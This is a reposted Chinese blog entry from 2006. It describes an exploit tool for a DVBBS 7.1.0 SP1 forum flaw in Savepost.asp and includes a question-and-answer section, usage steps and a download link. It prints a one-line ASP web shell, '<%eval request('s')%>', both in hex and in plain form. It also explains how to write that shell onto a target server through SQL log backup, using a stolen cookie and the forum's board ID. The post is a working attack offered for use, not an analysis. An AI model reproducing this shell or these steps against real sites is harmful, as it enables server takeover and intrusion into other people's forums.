[转帖]现在的网吧客人98%都...(泄愤篇）

linker

信息来源:<a title="http://www.wolfexp.net" href="http://www.wolfexp.net/" target="_blank">红狼安全小组</a><br/><br/>作者:emissary<br/><br/>2006年5月17日20：30最后更新<br/>对不起大家。因为昨天真的是太累了，到了早上就去睡觉了，忘了告诉大家一件最重要的事。<br/>也就是在管理员用户名那儿。不支持中文。要用一个软件把它转换为UTF-8编码才行。<br/><br/>ASCII码随心换V2.2 正式版<br/>把中文填入第一行的字符中，转换后需要第二行的16进制数据。把十六进制每两个字符用%分开填入软件管理员用户名那儿就行。<br/>如：喻心妍<br/>十六进制：%D3F7%D0C4%E5FB<br/>你在管理员用户名那儿填：%D3%F7%D0%C4%E5%FB<br/><br/>[下面有下载地址]<br/>也可以到<a title="http://www.onlinedown.net/soft/49000.htm" href="http://www.onlinedown.net/soft/49000.htm" target="_blank">http://www.onlinedown.net/soft/49000.htm</a><br/><br/>问：备份出来的shell文件是什么？<br/>答：0x3C256576616C20726571756573742822732229253E<br/>答：<%eval request("s")%><br/><br/>问：access就不要试了.我没办法拿到后台.唉<br/>答：汗，我根本想说的就是我拿不到前台。语误。<br/><br/>问：好象不能用差异备份噢！而且我用log备份成功后输入<a title="http://wwwXXXnet/emissary.asp都提示没这个文件，是不是失败了啊？什么原因会导致这个问题啊？软件提示都成功的" href="http://wwwxxxnet/emissary.asp都提示没这个文件，是不是失败了啊？什么原因会导致这个问题啊？软件提示都成功的" target="_blank">http://wwwXXXnet/emissary.asp都提示没这个文件，是不是失败了啊？什么原因会导致这个问题啊？软件提示都成功的</a><br/>答：跟很多东西有关系的，软件提示成功只是说明语句已正确提交到SQL服务器执行。至于当前你有没有这个权限执行，还是其它什么原因，就很难说了。这个，我想办法改改<br/><br/>问：但是就是最后一步 不知道怎么实现，第三步shell<br/>答：在后台得到站点目录。<br/>答：在第二步得到数据库名。<br/>答：两样都填好以后，log备份会变为可以点击。<br/><br/>信息来源：红狼安全小组（www.wolfexp.net）<br/>软件作者： emissary<br/>动网论坛Savepost.asp存在严重漏洞<br/>发现时间：2006.05.10 [Bug.Center.Team]<br/>程序版本：DVBBS 7.1.0 SP1<br/>厂商补丁：<a title="http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1" href="http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1" target="_blank">http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1</a><br/><br/>access就不要试了.我没办法拿到后台.唉~~~~~<br/>BVBBS识别不填写其实也可以的。很少会出错。<br/><br/>使用说明：<br/>1.先注册一个用户名。<br/>2.抓取cookie填入程序中。<br/>3.填完整第一步所要的信息。<br/>(分论坛ID号就是网址中boardid这个参数)<br/>4.开始操作。<br/><div style="OVERFLOW-X: auto; WIDTH: 100%;"><a href="http://www.wolfexp.net/forum/attachment/Mon_0605/29_2_4e89315a2a329cf.jpg" target="_blank"><img alt="http://www.wolfexp.net/forum/attachment/Mon_0605/29_2_4e89315a2a329cf.jpg" src="http://www.wolfexp.net/forum/attachment/Mon_0605/29_2_4e89315a2a329cf.jpg"/></a></div><br/><br/><a title="attachments/200605/22_211818_dvbbs710.rar" href="http://www.neeao.com/Blog/attachments/200605/22_211818_dvbbs710.rar" target="_blank"><img src="http://www.neeao.com/Blog/styles/default/images/icon_file.gif" border="0" alt=""/> 点击下载</a>